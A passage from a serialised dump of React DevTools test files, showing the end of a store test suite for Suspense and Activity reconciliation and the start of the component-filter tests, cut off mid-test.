name=\"content\" uniqueSuspenders={true} rects={null}>\n        <Suspense name=\"fallback\" uniqueSuspenders={true} rects={[{x:1,y:2,width:10,height:1}]}>\n    `);\n\n    await actAsync(() => {\n      resolveContent();\n    });\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Suspense name=\"content\">\n            <Component key=\"content\">\n      [suspense-root]  rects={[{x:1,y:2,width:4,height:1}]}\n        <Suspense name=\"content\" uniqueSuspenders={true} rects={[{x:1,y:2,width:4,height:1}]}>\n    `);\n  });\n\n  // @reactVersion >= 17.0\n  it('can reconcile resuspended Suspense with Suspense in fallback positions', async () => {\n    let resolveHeadFallback;\n    let resolveHeadContent;\n    let resolveMainFallback;\n    let resolveMainContent;\n\n    function Component({children, promise}) {\n      if (promise) {\n        readValue(promise);\n      }\n      return <div>{children}</div>;\n    }\n\n    function WithSuspenseInFallback({fallbackPromise, contentPromise, name}) {\n      return (\n        <React.Suspense\n          name={name}\n          fallback={\n            <React.Suspense\n              name={`${name}-fallback`}\n              fallback={\n                <Component key={`${name}-fallback-fallback`}>\n                  Loading fallback...\n                </Component>\n              }>\n              <Component\n                key={`${name}-fallback-content`}\n                promise={fallbackPromise}>\n                Loading...\n              </Component>\n            </React.Suspense>\n          }>\n          <Component key={`${name}-content`} promise={contentPromise}>\n            done\n          </Component>\n        </React.Suspense>\n      );\n    }\n\n    function App({\n      headFallbackPromise,\n      headContentPromise,\n      mainContentPromise,\n      mainFallbackPromise,\n      tailContentPromise,\n      tailFallbackPromise,\n    }) {\n      return (\n        <>\n          <WithSuspenseInFallback\n            fallbackPromise={headFallbackPromise}\n            contentPromise={headContentPromise}\n            name=\"head\"\n          />\n          <WithSuspenseInFallback\n            fallbackPromise={mainFallbackPromise}\n            contentPromise={mainContentPromise}\n            name=\"main\"\n          />\n        </>\n      );\n    }\n\n    const initialHeadContentPromise = new Promise(resolve => {\n      resolveHeadContent = resolve;\n    });\n    const initialHeadFallbackPromise = new Promise(resolve => {\n      resolveHeadFallback = resolve;\n    });\n    const initialMainContentPromise = new Promise(resolve => {\n      resolveMainContent = resolve;\n    });\n    const initialMainFallbackPromise = new Promise(resolve => {\n      resolveMainFallback = resolve;\n    });\n    await actAsync(() =>\n      render(\n        <App\n          headFallbackPromise={initialHeadFallbackPromise}\n          headContentPromise={initialHeadContentPromise}\n          mainContentPromise={initialMainContentPromise}\n          mainFallbackPromise={initialMainFallbackPromise}\n        />,\n      ),\n    );\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <App>\n          ▾ <WithSuspenseInFallback>\n            ▾ <Suspense name=\"head\">\n              ▾ <Suspense name=\"head-fallback\">\n                  <Component key=\"head-fallback-fallback\">\n          ▾ <WithSuspenseInFallback>\n            ▾ <Suspense name=\"main\">\n              ▾ <Suspense name=\"main-fallback\">\n                  <Component key=\"main-fallback-fallback\">\n      [suspense-root]  rects={[{x:1,y:2,width:19,height:1}, {x:1,y:2,width:19,height:1}]}\n        <Suspense name=\"head\" uniqueSuspenders={true} rects={null}>\n        <Suspense name=\"head-fallback\" uniqueSuspenders={true} rects={null}>\n        <Suspense name=\"main\" uniqueSuspenders={true} rects={null}>\n        <Suspense name=\"main-fallback\" uniqueSuspenders={true} rects={null}>\n    `);\n\n    await actAsync(() => {\n      resolveHeadFallback();\n      resolveMainFallback();\n      resolveHeadContent();\n      resolveMainContent();\n    });\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <App>\n          ▾ <WithSuspenseInFallback>\n            ▾ <Suspense name=\"head\">\n                <Component key=\"head-content\">\n          ▾ <WithSuspenseInFallback>\n            ▾ <Suspense name=\"main\">\n                <Component key=\"main-content\">\n      [suspense-root]  rects={[{x:1,y:2,width:4,height:1}, {x:1,y:2,width:4,height:1}]}\n        <Suspense name=\"head\" uniqueSuspenders={true} rects={[{x:1,y:2,width:4,height:1}]}>\n        <Suspense name=\"main\" uniqueSuspenders={true} rects={[{x:1,y:2,width:4,height:1}]}>\n    `);\n\n    // Resuspend head content\n    const nextHeadContentPromise = new Promise(resolve => {\n      resolveHeadContent = resolve;\n    });\n    await actAsync(() =>\n      render(\n        <App\n          headFallbackPromise={initialHeadFallbackPromise}\n          headContentPromise={nextHeadContentPromise}\n          mainContentPromise={initialMainContentPromise}\n          mainFallbackPromise={initialMainFallbackPromise}\n        />,\n      ),\n    );\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <App>\n          ▾ <WithSuspenseInFallback>\n            ▾ <Suspense name=\"head\">\n              ▾ <Suspense name=\"head-fallback\">\n                  <Component key=\"head-fallback-content\">\n          ▾ <WithSuspenseInFallback>\n            ▾ <Suspense name=\"main\">\n                <Component key=\"main-content\">\n      [suspense-root]  rects={[{x:1,y:2,width:4,height:1}, {x:1,y:2,width:10,height:1}, {x:1,y:2,width:4,height:1}]}\n        <Suspense name=\"head\" uniqueSuspenders={true} rects={[{x:1,y:2,width:4,height:1}]}>\n        <Suspense name=\"head-fallback\" uniqueSuspenders={true} rects={[{x:1,y:2,width:10,height:1}]}>\n        <Suspense name=\"main\" uniqueSuspenders={true} rects={[{x:1,y:2,width:4,height:1}]}>\n    `);\n\n    // Resuspend head fallback\n    const nextHeadFallbackPromise = new Promise(resolve => {\n      resolveHeadFallback = resolve;\n    });\n    await actAsync(() =>\n      render(\n        <App\n          headFallbackPromise={nextHeadFallbackPromise}\n          headContentPromise={nextHeadContentPromise}\n          mainContentPromise={initialMainContentPromise}\n          mainFallbackPromise={initialMainFallbackPromise}\n        />,\n      ),\n    );\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <App>\n          ▾ <WithSuspenseInFallback>\n            ▾ <Suspense name=\"head\">\n              ▾ <Suspense name=\"head-fallback\">\n                  <Component key=\"head-fallback-fallback\">\n          ▾ <WithSuspenseInFallback>\n            ▾ <Suspense name=\"main\">\n                <Component key=\"main-content\">\n      [suspense-root]  rects={[{x:1,y:2,width:4,height:1}, {x:1,y:2,width:10,height:1}, {x:1,y:2,width:19,height:1}, {x:1,y:2,width:4,height:1}]}\n        <Suspense name=\"head\" uniqueSuspenders={true} rects={[{x:1,y:2,width:4,height:1}]}>\n        <Suspense name=\"head-fallback\" uniqueSuspenders={true} rects={[{x:1,y:2,width:10,height:1}]}>\n        <Suspense name=\"main\" uniqueSuspenders={true} rects={[{x:1,y:2,width:4,height:1}]}>\n    `);\n\n    await actAsync(() => render(null));\n\n    expect(store).toMatchInlineSnapshot(``);\n  });\n\n  it('should handle an empty root', async () => {\n    await actAsync(() => render(null));\n    expect(store).toMatchInlineSnapshot(``);\n\n    await actAsync(() => render(<span />));\n    expect(store).toMatchInlineSnapshot(`[root]`);\n  });\n\n  // @reactVersion >= 19.0\n  it('should reconcile promise-as-a-child', async () => {\n    function Component({children}) {\n      return <div>{children}</div>;\n    }\n\n    await actAsync(() =>\n      render(\n        <React.Suspense>\n          {Promise.resolve(<Component key=\"A\">A</Component>)}\n        </React.Suspense>,\n      ),\n    );\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Suspense>\n            <Component key=\"A\">\n      [suspense-root]  rects={[{x:1,y:2,width:1,height:1}]}\n        <Suspense name=\"Unknown\" uniqueSuspenders={true} rects={[{x:1,y:2,width:1,height:1}]}>\n    `);\n\n    await actAsync(() =>\n      render(\n        <React.Suspense>\n          {Promise.resolve(<Component key=\"not-A\">not A</Component>)}\n        </React.Suspense>,\n      ),\n    );\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Suspense>\n            <Component key=\"not-A\">\n      [suspense-root]  rects={[{x:1,y:2,width:5,height:1}]}\n        <Suspense name=\"Unknown\" uniqueSuspenders={true} rects={[{x:1,y:2,width:5,height:1}]}>\n    `);\n\n    await actAsync(() => render(null));\n    expect(store).toMatchInlineSnapshot(``);\n  });\n\n  // Can't suspend the root in React 17.\n  // @reactVersion >= 18.0\n  it('should track suspended-by in filtered fallback suspending the root', async () => {\n    function IgnoreMe({promise}) {\n      return readValue(promise);\n    }\n\n    function Component({promise}) {\n      return readValue(promise);\n    }\n\n    await actAsync(\n      async () =>\n        (store.componentFilters = [createDisplayNameFilter('^IgnoreMe', true)]),\n    );\n\n    let resolveFallback;\n    const fallbackPromise = new Promise(resolve => {\n      resolveFallback = resolve;\n    });\n    let resolveContent;\n    const contentPromise = new Promise(resolve => {\n      resolveContent = resolve;\n    });\n\n    await actAsync(() =>\n      render(\n        <React.Suspense\n          name=\"main\"\n          fallback={<IgnoreMe promise={fallbackPromise} />}>\n          <Component promise={contentPromise} />\n        </React.Suspense>,\n      ),\n    );\n    expect(store).toMatchInlineSnapshot(``);\n\n    await actAsync(() => resolveFallback('loading'));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n          <Suspense name=\"main\">\n      [suspense-root]  rects={null}\n        <Suspense name=\"main\" uniqueSuspenders={true} rects={null}>\n    `);\n\n    await actAsync(() => resolveContent('content'));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Suspense name=\"main\">\n            <Component>\n      [suspense-root]  rects={null}\n        <Suspense name=\"main\" uniqueSuspenders={true} rects={null}>\n    `);\n  });\n\n  // @reactVersion >= 17.0\n  it('should track suspended-by in filtered fallback', async () => {\n    function IgnoreMe({promise}) {\n      return readValue(promise);\n    }\n\n    function Component({promise}) {\n      if (promise) {\n        return readValue(promise);\n      }\n      return null;\n    }\n\n    await actAsync(\n      async () =>\n        (store.componentFilters = [createDisplayNameFilter('^IgnoreMe', true)]),\n    );\n\n    let resolveFallback;\n    const fallbackPromise = new Promise(resolve => {\n      resolveFallback = resolve;\n    });\n    let resolveContent;\n    const contentPromise = new Promise(resolve => {\n      resolveContent = resolve;\n    });\n\n    await actAsync(() =>\n      render(\n        <React.Suspense\n          fallback={<Component key=\"root-fallback\" />}\n          name=\"root\">\n          <React.Suspense\n            name=\"main\"\n            fallback={<IgnoreMe promise={fallbackPromise} />}>\n            <Component promise={contentPromise} />\n          </React.Suspense>\n        </React.Suspense>,\n      ),\n    );\n\n    if (semver.lt(ReactVersionTestingAgainst, '18.0.0')) {\n      // React 17 commits partial trees hidden which causes the \"main\"\n      // Suspense boundary to be included.\n      // React 18 and upwards excluded partial tree entirely.\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Suspense name=\"root\">\n              <Component key=\"root-fallback\">\n        [suspense-root]  rects={null}\n          <Suspense name=\"root\" rects={null}>\n            <Suspense name=\"main\" rects={null}>\n      `);\n    } else {\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Suspense name=\"root\">\n              <Component key=\"root-fallback\">\n        [suspense-root]  rects={null}\n          <Suspense name=\"root\" uniqueSuspenders={true} rects={null}>\n      `);\n    }\n\n    await actAsync(() => resolveFallback('loading'));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Suspense name=\"root\">\n            <Suspense name=\"main\">\n      [suspense-root]  rects={null}\n        <Suspense name=\"root\" uniqueSuspenders={true} rects={null}>\n          <Suspense name=\"main\" uniqueSuspenders={true} rects={null}>\n    `);\n\n    await actAsync(() => resolveContent('content'));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Suspense name=\"root\">\n          ▾ <Suspense name=\"main\">\n              <Component>\n      [suspense-root]  rects={null}\n        <Suspense name=\"root\" uniqueSuspenders={true} rects={null}>\n          <Suspense name=\"main\" uniqueSuspenders={true} rects={null}>\n    `);\n  });\n\n  // @reactVersion >= 19\n  it('should keep suspended boundaries in the Suspense tree but not hidden Activity', async () => {\n    const Activity = React.Activity || React.unstable_Activity;\n\n    const never = new Promise(() => {});\n    function Never() {\n      readValue(never);\n      return null;\n    }\n    function Component({children}) {\n      return <div>{children}</div>;\n    }\n\n    function App({hidden}) {\n      return (\n        <>\n          <Activity mode={hidden ? 'hidden' : 'visible'}>\n            <React.Suspense name=\"inside-activity\">\n              <Component key=\"inside-activity\">inside Activity</Component>\n            </React.Suspense>\n          </Activity>\n          <React.Suspense name=\"outer-suspense\">\n            <React.Suspense name=\"inner-suspense\">\n              <Component key=\"inside-suspense\">inside Suspense</Component>\n            </React.Suspense>\n            {hidden ? <Never /> : null}\n          </React.Suspense>\n        </>\n      );\n    }\n\n    await actAsync(() => {\n      render(<App hidden={true} />);\n    });\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <App>\n          ▸ <Activity mode=\"hidden\">\n            <Suspense name=\"outer-suspense\">\n      [suspense-root]  rects={[{x:1,y:2,width:15,height:1}]}\n        <Suspense name=\"inside-activity\" uniqueSuspenders={false} rects={[{x:1,y:2,width:15,height:1}]}>\n        <Suspense name=\"outer-suspense\" uniqueSuspenders={true} rects={null}>\n    `);\n\n    // mount as visible\n    await actAsync(() => {\n      render(null);\n    });\n    await actAsync(() => {\n      render(<App hidden={false} />);\n    });\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <App>\n          ▾ <Activity mode=\"visible\">\n            ▾ <Suspense name=\"inside-activity\">\n                <Component key=\"inside-activity\">\n          ▾ <Suspense name=\"outer-suspense\">\n            ▾ <Suspense name=\"inner-suspense\">\n                <Component key=\"inside-suspense\">\n      [suspense-root]  rects={[{x:1,y:2,width:15,height:1}, {x:1,y:2,width:15,height:1}]}\n        <Suspense name=\"inside-activity\" uniqueSuspenders={false} rects={[{x:1,y:2,width:15,height:1}]}>\n        <Suspense name=\"outer-suspense\" uniqueSuspenders={false} rects={[{x:1,y:2,width:15,height:1}]}>\n          <Suspense name=\"inner-suspense\" uniqueSuspenders={false} rects={[{x:1,y:2,width:15,height:1}]}>\n    `);\n\n    await actAsync(() => {\n      render(<App hidden={true} />);\n    });\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <App>\n          ▸ <Activity mode=\"hidden\">\n            <Suspense name=\"outer-suspense\">\n      [suspense-root]  rects={[{x:1,y:2,width:15,height:1}, {x:1,y:2,width:15,height:1}]}\n        <Suspense name=\"inside-activity\" uniqueSuspenders={false} rects={[{x:1,y:2,width:15,height:1}]}>\n        <Suspense name=\"outer-suspense\" uniqueSuspenders={true} rects={[{x:1,y:2,width:15,height:1}]}>\n          <Suspense name=\"inner-suspense\" uniqueSuspenders={false} rects={[{x:1,y:2,width:15,height:1}]}>\n    `);\n\n    await actAsync(() => {\n      render(<App hidden={false} />);\n    });\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <App>\n          ▾ <Activity mode=\"visible\">\n            ▾ <Suspense name=\"inside-activity\">\n                <Component key=\"inside-activity\">\n          ▾ <Suspense name=\"outer-suspense\">\n            ▾ <Suspense name=\"inner-suspense\">\n                <Component key=\"inside-suspense\">\n      [suspense-root]  rects={[{x:1,y:2,width:15,height:1}, {x:1,y:2,width:15,height:1}]}\n        <Suspense name=\"inside-activity\" uniqueSuspenders={false} rects={[{x:1,y:2,width:15,height:1}]}>\n        <Suspense name=\"outer-suspense\" uniqueSuspenders={true} rects={[{x:1,y:2,width:15,height:1}]}>\n          <Suspense name=\"inner-suspense\" uniqueSuspenders={false} rects={[{x:1,y:2,width:15,height:1}]}>\n    `);\n  });\n\n  // @reactVersion >= 19.0\n  it('guesses a Suspense name based on the owner', async () => {\n    let resolve;\n    const promise = new Promise(_resolve => {\n      resolve = _resolve;\n    });\n    function Inner() {\n      return (\n        <React.Suspense fallback={<p>Loading inner</p>}>\n          <p>{promise}</p>\n        </React.Suspense>\n      );\n    }\n\n    function Outer({children}) {\n      return (\n        <React.Suspense fallback={<p>Loading outer</p>}>\n          <p>{promise}</p>\n          {children}\n        </React.Suspense>\n      );\n    }\n\n    await actAsync(() => {\n      render(\n        <Outer>\n          <Inner />\n        </Outer>,\n      );\n    });\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Outer>\n            <Suspense>\n      [suspense-root]  rects={[{x:1,y:2,width:13,height:1}]}\n        <Suspense name=\"Outer\" uniqueSuspenders={true} rects={null}>\n    `);\n\n    await actAsync(() => {\n      resolve('loaded');\n    });\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Outer>\n          ▾ <Suspense>\n            ▾ <Inner>\n                <Suspense>\n      [suspense-root]  rects={[{x:1,y:2,width:6,height:1}, {x:1,y:2,width:6,height:1}]}\n        <Suspense name=\"Outer\" uniqueSuspenders={true} rects={[{x:1,y:2,width:6,height:1}, {x:1,y:2,width:6,height:1}]}>\n          <Suspense name=\"Inner\" uniqueSuspenders={false} rects={[{x:1,y:2,width:6,height:1}]}>\n    `);\n  });\n\n  // @reactVersion >= 19.0\n  it('measures rects when reconnecting', async () => {\n    function Component({children, promise}) {\n      let content = '';\n      if (promise) {\n        const value = readValue(promise);\n        if (typeof value === 'string') {\n          content += value;\n        }\n      }\n      return (\n        <div>\n          {content}\n          {children}\n        </div>\n      );\n    }\n\n    function App({outer, inner}) {\n      return (\n        <React.Suspense\n          name=\"outer\"\n          fallback={<Component key=\"outer-fallback\">loading outer</Component>}>\n          <Component key=\"outer-content\" promise={outer}>\n            outer content\n          </Component>\n          <React.Suspense\n            name=\"inner\"\n            fallback={\n              <Component key=\"inner-fallback\">loading inner</Component>\n            }>\n            <Component key=\"inner-content\" promise={inner}>\n              inner content\n            </Component>\n          </React.Suspense>\n        </React.Suspense>\n      );\n    }\n\n    await actAsync(() => {\n      render(<App outer={null} inner={null} />);\n    });\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <App>\n          ▾ <Suspense name=\"outer\">\n              <Component key=\"outer-content\">\n            ▾ <Suspense name=\"inner\">\n                <Component key=\"inner-content\">\n      [suspense-root]  rects={[{x:1,y:2,width:13,height:1}, {x:1,y:2,width:13,height:1}]}\n        <Suspense name=\"outer\" uniqueSuspenders={false} rects={[{x:1,y:2,width:13,height:1}, {x:1,y:2,width:13,height:1}]}>\n          <Suspense name=\"inner\" uniqueSuspenders={false} rects={[{x:1,y:2,width:13,height:1}]}>\n    `);\n\n    let outerResolve;\n    const outerPromise = new Promise(resolve => {\n      outerResolve = resolve;\n    });\n\n    let innerResolve;\n    const innerPromise = new Promise(resolve => {\n      innerResolve = resolve;\n    });\n    await actAsync(() => {\n      render(<App outer={outerPromise} inner={innerPromise} />);\n    });\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <App>\n          ▾ <Suspense name=\"outer\">\n              <Component key=\"outer-fallback\">\n      [suspense-root]  rects={[{x:1,y:2,width:13,height:1}, {x:1,y:2,width:13,height:1}, {x:1,y:2,width:13,height:1}]}\n        <Suspense name=\"outer\" uniqueSuspenders={true} rects={[{x:1,y:2,width:13,height:1}, {x:1,y:2,width:13,height:1}]}>\n          <Suspense name=\"inner\" uniqueSuspenders={false} rects={[{x:1,y:2,width:13,height:1}]}>\n    `);\n\n    await actAsync(() => {\n      outerResolve('..');\n      innerResolve('.');\n    });\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <App>\n          ▾ <Suspense name=\"outer\">\n              <Component key=\"outer-content\">\n            ▾ <Suspense name=\"inner\">\n                <Component key=\"inner-content\">\n      [suspense-root]  rects={[{x:1,y:2,width:15,height:1}, {x:1,y:2,width:14,height:1}]}\n        <Suspense name=\"outer\" uniqueSuspenders={true} rects={[{x:1,y:2,width:15,height:1}, {x:1,y:2,width:14,height:1}]}>\n          <Suspense name=\"inner\" uniqueSuspenders={true} rects={[{x:1,y:2,width:14,height:1}]}>\n    `);\n  });\n\n  // @reactVersion >= 19\n  it('can reconcile newly visible Activity with filtered, stable children', async () => {\n    const Activity = React.Activity || React.unstable_Activity;\n\n    function IgnoreMe({children}) {\n      return children;\n    }\n\n    function Component({children}) {\n      return <div>{children}</div>;\n    }\n\n    await actAsync(\n      async () =>\n        (store.componentFilters = [createDisplayNameFilter('^IgnoreMe', true)]),\n    );\n\n    const children = (\n      <IgnoreMe>\n        <Component key=\"left\">Left</Component>\n      </IgnoreMe>\n    );\n\n    await actAsync(() => {\n      render(<Activity mode=\"hidden\">{children}</Activity>);\n    });\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▸ <Activity mode=\"hidden\">\n    `);\n\n    await actAsync(() => {\n      render(<Activity mode=\"visible\">{children}</Activity>);\n    });\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Activity mode=\"visible\">\n          ▾ <Component key=\"left\">\n              <div>\n    `);\n  });\n\n  // @reactVersion >= 17.0\n  it('continues to consider Suspense boundary as blocking if some child still is suspended on removed io', async () => {\n    function Component({promise}) {\n      readValue(promise);\n      return null;\n    }\n\n    let resolve;\n    const promise = new Promise(_resolve => {\n      resolve = _resolve;\n    });\n\n    await actAsync(() => {\n      render(\n        <React.Suspense fallback={null} name=\"outer\">\n          <Component key=\"one\" promise={promise} />\n          <Component key=\"two\" promise={promise} />\n          <React.Suspense fallback={null} name=\"inner\">\n            <Component key=\"three\" promise={promise} />\n          </React.Suspense>\n        </React.Suspense>,\n      );\n    });\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n          <Suspense name=\"outer\">\n      [suspense-root]  rects={null}\n        <Suspense name=\"outer\" uniqueSuspenders={true} rects={null}>\n    `);\n\n    await actAsync(() => {\n      resolve('Hello, World!');\n    });\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Suspense name=\"outer\">\n            <Component key=\"one\">\n            <Component key=\"two\">\n          ▾ <Suspense name=\"inner\">\n              <Component key=\"three\">\n      [suspense-root]  rects={null}\n        <Suspense name=\"outer\" uniqueSuspenders={true} rects={null}>\n          <Suspense name=\"inner\" uniqueSuspenders={false} rects={null}>\n    `);\n\n    // We remove one suspender.\n    // The inner one shouldn't have unique suspenders because it's still blocked\n    // by the outer one.\n    await actAsync(() => {\n      render(\n        <React.Suspense fallback={null} name=\"outer\">\n          <Component key=\"one\" promise={promise} />\n          <React.Suspense fallback={null} name=\"inner\">\n            <Component key=\"three\" promise={promise} />\n          </React.Suspense>\n        </React.Suspense>,\n      );\n    });\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Suspense name=\"outer\">\n            <Component key=\"one\">\n          ▾ <Suspense name=\"inner\">\n              <Component key=\"three\">\n      [suspense-root]  rects={null}\n        <Suspense name=\"outer\" uniqueSuspenders={true} rects={null}>\n          <Suspense name=\"inner\" uniqueSuspenders={false} rects={null}>\n    `);\n\n    // Now we remove all unique suspenders of the outer Suspense boundary.\n    // The inner one is now independently revealed from the parent and should\n    // be marked as having unique suspenders.\n    // TODO: The outer boundary no longer has unique suspenders.\n    await actAsync(() => {\n      render(\n        <React.Suspense fallback={null} name=\"outer\">\n          <React.Suspense fallback={null} name=\"inner\">\n            <Component key=\"three\" promise={promise} />\n          </React.Suspense>\n        </React.Suspense>,\n      );\n    });\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Suspense name=\"outer\">\n          ▾ <Suspense name=\"inner\">\n              <Component key=\"three\">\n      [suspense-root]  rects={null}\n        <Suspense name=\"outer\" uniqueSuspenders={true} rects={null}>\n          <Suspense name=\"inner\" uniqueSuspenders={true} rects={null}>\n    `);\n  });\n\n  // @reactVersion >= 19\n  it('cleans up host hoistables', async () => {\n    function Left() {\n      return (\n        <style href=\"test.css\" precedence=\"medium\">\n          {'* {color:black}'}\n        </style>\n      );\n    }\n\n    function Right() {\n      return (\n        <style href=\"test.css\" precedence=\"medium\">\n          {'* {color:black}'}\n        </style>\n      );\n    }\n\n    await actAsync(() => {\n      render(\n        <>\n          <Left />\n          <Right />\n        </>,\n      );\n    });\n\n    // Ensure we're still testing deduplicated hoistables.\n    expect(document.head.querySelectorAll('style')).toHaveLength(1);\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n          <Left>\n          <Right>\n    `);\n    let style = document.head.querySelector('style');\n    let styleID = agent.getIDForHostInstance(style).id;\n    expect(store.containsElement(styleID)).toBe(true);\n\n    await actAsync(() => {\n      render(\n        <>\n          <Right />\n        </>,\n      );\n    });\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n          <Right>\n    `);\n    style = document.head.querySelector('style');\n    styleID = agent.getIDForHostInstance(style).id;\n    expect(store.containsElement(styleID)).toBe(true);\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/storeComponentFilters-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\nimport type Store from 'react-devtools-shared/src/devtools/store';\n\nimport {\n  getLegacyRenderImplementation,\n  getVersionedRenderImplementation,\n} from './utils';\n\ndescribe('Store component filters', () => {\n  let React;\n  let Types;\n  let agent;\n  let bridge: FrontendBridge;\n  let store: Store;\n  let utils;\n  let actAsync;\n\n  beforeAll(() => {\n    // JSDDOM doesn't implement getClientRects so we're just faking one for testing purposes\n    Element.prototype.getClientRects = function (this: Element) {\n      const textContent = this.textContent;\n      return [\n        new DOMRect(1, 2, textContent.length, textContent.split('\\n').length),\n      ];\n    };\n  });\n\n  beforeEach(() => {\n    agent = global.agent;\n    bridge = global.bridge;\n    store = global.store;\n    store.collapseNodesByDefault = false;\n    store.componentFilters = [];\n    store.recordChangeDescriptions = true;\n\n    React = require('react');\n    Types = require('react-devtools-shared/src/frontend/types');\n    utils = require('./utils');\n\n    actAsync = utils.actAsync;\n  });\n\n  const {render} = getVersionedRenderImplementation();\n\n  // @reactVersion >= 16.0\n  it('should throw if filters are updated while profiling', async () => {\n    await actAsync(async () => store.profilerStore.startProfiling());\n    expect(() => (store.componentFilters = [])).toThrow(\n      'Cannot modify filter preferences while profiling',\n    );\n  });\n\n  // @reactVersion >= 16.0\n  it('should support filtering by element type', async () => {\n    class ClassComponent extends React.Component<{children: React$Node}> {\n      render() {\n        return <div>{this.props.children}</div>;\n      }\n    }\n    const FunctionComponent = () => <div>Hi</div>;\n\n    await actAsync(async () =>\n      render(\n        <ClassComponent>\n          <FunctionComponent />\n        </ClassComponent>,\n      ),\n    );\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <ClassComponent>\n          ▾ <div>\n            ▾ <FunctionComponent>\n                <div>\n    `);\n\n    await actAsync(\n      async () =>\n        (store.componentFilters = [\n          utils.createElementTypeFilter(Types.ElementTypeHostComponent),\n        ]),\n    );\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <ClassComponent>\n            <FunctionComponent>\n    `);\n\n    await actAsync(\n      async () =>\n        (store.componentFilters = [\n          utils.createElementTypeFilter(Types.ElementTypeClass),\n        ]),\n    );\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <div>\n          ▾ <FunctionComponent>\n              <div>\n    `);\n\n    await actAsync(\n      async () =>\n        (store.componentFilters = [\n          utils.createElementTypeFilter(Types.ElementTypeClass),\n          utils.createElementTypeFilter(Types.ElementTypeFunction),\n        ]),\n    );\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <div>\n            <div>\n    `);\n\n    await actAsync(\n      async () =>\n        (store.componentFilters = [\n          utils.createElementTypeFilter(Types.ElementTypeClass, false),\n          utils.createElementTypeFilter(Types.ElementTypeFunction, false),\n        ]),\n    );\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <ClassComponent>\n          ▾ <div>\n            ▾ <FunctionComponent>\n                <div>\n    `);\n\n    await actAsync(async () => (store.componentFilters = []));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <ClassComponent>\n          ▾ <div>\n            ▾ <FunctionComponent>\n                <div>\n    `);\n  });\n\n  // @reactVersion >= 16.6\n  it('should filter Suspense', async () => {\n    const Suspense = React.Suspense;\n    await actAsync(async () =>\n      render(\n        <React.Fragment>\n          <Suspense>\n            <div>Visible</div>\n          </Suspense>\n          <Suspense>\n            <div>Hidden</div>\n          </Suspense>\n        </React.Fragment>,\n      ),\n    );\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Suspense>\n            <div>\n        ▾ <Suspense>\n            <div>\n      [suspense-root]  rects={[{x:1,y:2,width:7,height:1}, {x:1,y:2,width:6,height:1}]}\n        <Suspense name=\"Unknown\" uniqueSuspenders={false} rects={[{x:1,y:2,width:7,height:1}]}>\n        <Suspense name=\"Unknown\" uniqueSuspenders={false} rects={[{x:1,y:2,width:6,height:1}]}>\n    `);\n\n    await actAsync(\n      async () =>\n        (store.componentFilters = [\n          utils.createElementTypeFilter(Types.ElementTypeActivity),\n        ]),\n    );\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Suspense>\n            <div>\n        ▾ <Suspense>\n            <div>\n      [suspense-root]  rects={[{x:1,y:2,width:7,height:1}, {x:1,y:2,width:6,height:1}]}\n        <Suspense name=\"Unknown\" uniqueSuspenders={false} rects={[{x:1,y:2,width:7,height:1}]}>\n        <Suspense name=\"Unknown\" uniqueSuspenders={false} rects={[{x:1,y:2,width:6,height:1}]}>\n    `);\n\n    await actAsync(\n      async () =>\n        (store.componentFilters = [\n          utils.createElementTypeFilter(Types.ElementTypeActivity, false),\n        ]),\n    );\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Suspense>\n            <div>\n        ▾ <Suspense>\n            <div>\n      [suspense-root]  rects={[{x:1,y:2,width:7,height:1}, {x:1,y:2,width:6,height:1}]}\n        <Suspense name=\"Unknown\" uniqueSuspenders={false} rects={[{x:1,y:2,width:7,height:1}]}>\n        <Suspense name=\"Unknown\" uniqueSuspenders={false} rects={[{x:1,y:2,width:6,height:1}]}>\n    `);\n  });\n\n  it('should filter Activity', async () => {\n    const Activity = React.Activity || React.unstable_Activity;\n\n    if 